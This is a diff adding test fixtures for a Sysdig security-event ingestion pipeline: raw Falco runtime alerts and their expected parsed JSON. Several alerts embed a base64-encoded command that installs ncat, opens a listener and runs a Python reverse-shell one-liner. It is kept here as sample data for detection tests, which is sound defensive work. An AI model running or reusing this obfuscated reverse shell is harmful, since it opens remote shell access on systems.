proc.ppid=741043 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a proc.sid=1 user.loginuid=-1 user.uid=0 user.loginname= group.gid=0 group.name=root container.id=382e35271d0a container.name=cadvisor)","policyId":10011701,"ruleName":"Launch Sensitive Mount Container","ruleSubType":0,"ruleTags":["container","container_best_practices","container_immutability","SOC2","SOC2_CC6.1","NIST","NIST_800-190","NIST_800-190_3.4.3","NIST_800-190_3.5.5","NIST_800-53","NIST_800-53_AC-6(9)","NIST_800-53_AC-6(10)","NIST_800-53_AU-6(8)","ISO","ISO_27001","ISO_27001_A.9.2.3","HIPAA","HIPAA_164.308(a)","HIPAA_164.312(a)","HIPAA_164.312(b)","HITRUST","HITRUST_CSF","HITRUST_CSF_01.c","HITRUST_CSF_09.aa","GDPR","GDPR_32.1","GDPR_32.2","MITRE","MITRE_T1609_container_administration_command","MITRE_T1611_escape_to_host","MITRE_TA0002_execution","MITRE_TA0004_privilege_escalation","MITRE_TA0008_lateral_movement","MITRE_T1610_deploy_container","MITRE_TA0005_defense_evasion","MITRE_T1055.009_process_injection_proc_memory","MITRE_T1543_create_or_modify_system_process","CIS","oss"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.","engine":"falco","id":"1836ac8550123456789abcdefe5d827f","labels":{"container.image.digest":"sha256:9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb","container.image.id":"3f3e5f568a6d","container.image.repo":"gcr.io/cadvisor/cadvisor","container.image.tag":"v0.45.0","container.label.io.kubernetes.container.name":"cadvisor","container.label.io.kubernetes.pod.name":"wave-autoscale-agent-abcde","container.label.io.kubernetes.pod.namespace":"wave-autoscale","container.name":"cadvisor","host.hostName":"hybrid-node","host.mac":"01:00:5e:90:10:02","kubernetes.cluster.name":"myclusterName","kubernetes.namespace.name":"wave-autoscale","kubernetes.node.name":"node04","kubernetes.pod.name":"wave-autoscale-agent-abcde"},"name":"Sysdig Runtime Notable Events","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":5,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1744701225528350000} +{"category":"runtime","content":{"fields":{"container.id":"4db57cd1354c","container.name":"shell-scripting","group.gid":"0","group.name":"root","proc.cmdline":"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh","proc.cwd":"/","proc.exepath":"/usr/bin/bash","proc.hash.sha256":"7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237","proc.name":"bash","proc.pcmdline":"runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe","proc.pid":"97888","proc.pname":"runc","proc.ppid":"97881","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Sysdig","output":"Potentially malicious Shell script base64-encoded under user root on shell-scripting (proc.name=bash proc.exepath=/usr/bin/bash proc.pname=runc gparent=containerd-shim ggparent=containerd-shim gggparent=containerd proc.cmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root proc.pid=97888 proc.cwd=/ proc.ppid=97881 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe proc.sid=1 user.uid=0 user.loginuid=-1 user.loginname= group.gid=0 group.name=root container.id=4db57cd1354c container.name=shell-scripting)","policyId":10011698,"ruleName":"Base64-encoded Shell Script Execution","ruleSubType":0,"ruleTags":["host","container","MITRE","MITRE_T1132.001_data_encoding_standard_encoding","MITRE_TA0011_command_and_control","MITRE_TA0005_defense_evasion","MITRE_T1059.004_command_and_scripting_interpreter_unix_shell","MITRE_T1059_command_and_scripting_interpreter","MITRE_TA0002_execution","MITRE_T1027_obfuscated_files_and_information","MITRE_T1140_deobfuscate_decode_files_or_information"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.","engine":"falco","id":"183a5e0123456789zbcdef400ba6d116","labels":{"cloudProvider.account.id":"012345678912","cloudProvider.name":"gcp","cloudProvider.region":"us-central1","container.image.digest":"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a","container.image.id":"ef0f72a55bd2","container.image.repo":"docker.io/library/python","container.image.tag":"3.9.18-slim","container.label.io.kubernetes.container.name":"shell-scripting","container.label.io.kubernetes.pod.name":"shell-scripting-1234567-12345","container.label.io.kubernetes.pod.namespace":"default","container.name":"shell-scripting","gcp.location":"us-central1","gcp.projectId":"012345678912","host.hostName":"gke-cluster-gcp-demo-san-default-pool-12345678-1234","host.mac":"01:00:5e:90:10:00","kubernetes.cluster.name":"gke-alliances-demo-6","kubernetes.cronJob.name":"shell-scripting","kubernetes.job.name":"shell-scripting-29082780","kubernetes.namespace.name":"default","kubernetes.node.name":"gke-cluster-gcp-demo-san-default-pool-12345678-1234","kubernetes.pod.name":"shell-scripting-00123450-abcd5","kubernetes.workload.name":"shell-scripting","kubernetes.workload.type":"cronjob"},"name":"Sysdig Runtime Threat Detection","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":3,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1744966800841090300} +{"category":"runtime","content":{"fields":{"container.image.repository":"docker.io/library/python","container.name":"shell-scripting","evt.res":"SUCCESS","evt.type":"execve","group.gid":"0","group.name":"root","proc.args":"","proc.cmdline":"sh","proc.cwd":"/","proc.exepath":"/usr/bin/dash","proc.hash.sha256":"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6","proc.name":"sh","proc.pcmdline":"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh","proc.pid":"4094247","proc.pid.ts":"1744772461104588229","proc.pname":"bash","proc.ppid":"4093769","proc.ppid.ts":"1744772400850031947","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Secure UI","output":"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=4094247 proc.cwd=/ proc.ppid=4093769 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744772461104588229 proc.ppid.ts=1744772400850031947 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)","policyId":10569534,"ruleName":"My test rule custom","ruleSubType":0,"ruleTags":["My-tag-custom-1-hello-world","MITTRE-WHATEVER"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This is just a dumb policy to test custom policies","engine":"falco","id":"1a36a012345678998765432108f1e03e","labels":{"cloudProvider.account.id":"012345678912","cloudProvider.name":"gcp","cloudProvider.region":"us-central1","container.image.digest":"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a","container.image.id":"ef0f72a55bd2","container.image.repo":"docker.io/library/python","container.image.tag":"3.9.18-slim","container.label.io.kubernetes.container.name":"shell-scripting","container.label.io.kubernetes.pod.name":"shell-scripting-29079540-cqf5n","container.label.io.kubernetes.pod.namespace":"default","container.name":"shell-scripting","gcp.location":"us-central1","gcp.projectId":"012345678912","host.hostName":"gke-cluster-gcp-demo-san-default-pool-12345678-abcd","host.mac":"01:00:5e:90:10:00","kubernetes.cluster.name":"gke-alliances-demo-6","kubernetes.cronJob.name":"shell-scripting","kubernetes.job.name":"shell-scripting-29079540","kubernetes.namespace.name":"default","kubernetes.node.name":"gke-cluster-gcp-demo-san-default-pool-12345678-abcd","kubernetes.pod.name":"shell-scripting-12345678-abcde","kubernetes.workload.name":"shell-scripting","kubernetes.workload.type":"cronjob"},"name":"Manuel test policy","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":4,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1744772461195149800} diff --git a/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log-expected.json b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log-expected.json new file mode 100644 index 00000000000..e75dc0283e4 --- /dev/null +++ b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log-expected.json @@ -0,0 +1,1626 @@ +{ + "expected": [ + { + "@timestamp": "2025-04-16T03:01:01.1951498Z", + "cloud": { + "account": { + "id": "123456789012" + }, + "project": { + "id": "1231456789012" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a" + ] + }, + "name": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "1a33f0946dabcdefabcdefad5c3e7f22", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.image.repository\":\"docker.io/library/python\",\"container.name\":\"shell-scripting\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.args\":\"\",\"proc.cmdline\":\"sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/dash\",\"proc.hash.sha256\":\"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6\",\"proc.name\":\"sh\",\"proc.pcmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.pid\":\"1890726\",\"proc.pid.ts\":\"1744002001003626585\",\"proc.pname\":\"bash\",\"proc.ppid\":\"1890704\",\"proc.ppid.ts\":\"1744002000895807711\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Secure UI\",\"output\":\"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1890726 proc.cwd=/ proc.ppid=1890704 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744002001003626585 proc.ppid.ts=1744002000895807711 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)\",\"policyId\":10569534,\"ruleName\":\"My test rule custom\",\"ruleSubType\":0,\"ruleTags\":[\"My-tag-custom-1-hello-world\",\"MITTRE-WHATEVER\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This is just a dumb policy to test custom policies\",\"engine\":\"falco\",\"id\":\"1a33f0946dabcdefabcdefad5c3e7f22\",\"labels\":{\"cloudProvider.account.id\":\"123456789012\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a\",\"container.image.id\":\"ef0abcdefbd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-abcdef12-12345\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"1231456789012\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29066700\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd\",\"kubernetes.pod.name\":\"shell-scripting-abcdef12-12345\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Manuel test policy\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":4,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1744772461195149800}", + "outcome": "success", + "provider": "syscall", + "severity": 4, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + }, + "message": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1890726 proc.cwd=/ proc.ppid=1890704 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744002001003626585 proc.ppid.ts=1744002000895807711 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-abcdef12-12345", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "sh", + "executable": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "parent": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "name": "bash", + "pid": 1890704, + "start": "2025-04-07T05:00:00.895807711Z" + }, + "pid": 1890726, + "start": "2025-04-07T05:00:01.003626585Z", + "working_directory": "/" + }, + "related": { + "hash": [ + "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This is just a dumb policy to test custom policies", + "name": "My test rule custom", + "ruleset": "Manuel test policy" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "container": { + "image": { + "repository": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "sh", + "cwd": "/", + "exepath": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "pcmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "pid": 1890726, + "pid_ts": "2025-04-07T05:00:01.003626585Z", + "pname": "bash", + "ppid": 1890704, + "ppid_ts": "2025-04-07T05:00:00.895807711Z", + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1890726 proc.cwd=/ proc.ppid=1890704 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744002001003626585 proc.ppid.ts=1744002000895807711 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policy_id": "10569534", + "rule_name": "My test rule custom", + "rule_sub_type": 0, + "rule_tags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a33f0946dabcdefabcdefad5c3e7f22", + "labels": { + "cloud_provider": { + "account": { + "id": "123456789012" + }, + "name": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "digest": "sha256:aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a", + "id": "ef0abcdefbd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-abcdef12-12345", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "1231456789012" + }, + "host": { + "host_name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": "01-00-5E-90-10-00" + }, + "kubernetes": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29066700" + }, + "namespace": { + "name": "default" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + }, + "pod": { + "name": "shell-scripting-abcdef12-12345" + }, + "workload": { + "name": "shell-scripting", + "type": "cronjob" + } + } + }, + "name": "Manuel test policy", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 4, + "severity_value": "Medium", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-16T03:01:01.1951498Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "user": { + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-04-15T00:10:45.3285942Z", + "cloud": { + "account": { + "id": "012345678912" + }, + "provider": "aws", + "region": "us-west-2" + }, + "container": { + "id": "d2abcdefa588", + "image": { + "hash": { + "all": [ + "sha256:b6980881cf440a3ae78dfa9c021aaa9bb66fc3c27b7120cfa2b2fa1c35ceaa20" + ] + }, + "name": "docker.io/alpine/k8s" + }, + "name": "test-aqua-enforcer" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "183abcdefabcdef123456ffcccf0a338", + "kind": "event", + "original": "{\"actions\":[{\"afterEventNs\":30000000000,\"beforeEventNs\":15000000000,\"isSuccessful\":true,\"token\":\"0d0eefe8-a14b-1234-5678-abcdef7c4ce4\",\"type\":\"capture\"}],\"category\":\"runtime\",\"content\":{\"fields\":{\"container.id\":\"d2abcdefa588\",\"container.image.repository\":\"docker.io/alpine/k8s\",\"container.name\":\"test-aqua-enforcer\",\"evt.arg.path\":\"\",\"evt.type\":\"open\",\"fd.name\":\"/var/log/enforcer_testjob.log\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.cmdline\":\"bash -c echo \\\"Checking Aqua Enforcer\\\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\\\"{.items[*].metadata.name}\\\"));.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \\\"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\\\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\\\"{.status.phase}\\\");.. if [[ $aqua_enforcer_pod_status != \\\"Running\\\" ]]; then. echo \\\"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\\\";. sleep 15;. else. echo \\\"LOG: Pod $aqua_enforcer_pod, Running\\\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\\\";. else. echo \\\"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\\\";. echo \\\"Retrying for 5 minutes.\\\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\\\";. break;. else. echo \\\"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\\\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \\\"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\\\";. exit 1;. fi;. fi;.done;.echo \\\"Job completed successfully for all Aqua Enforcer pods.\\\"; exit 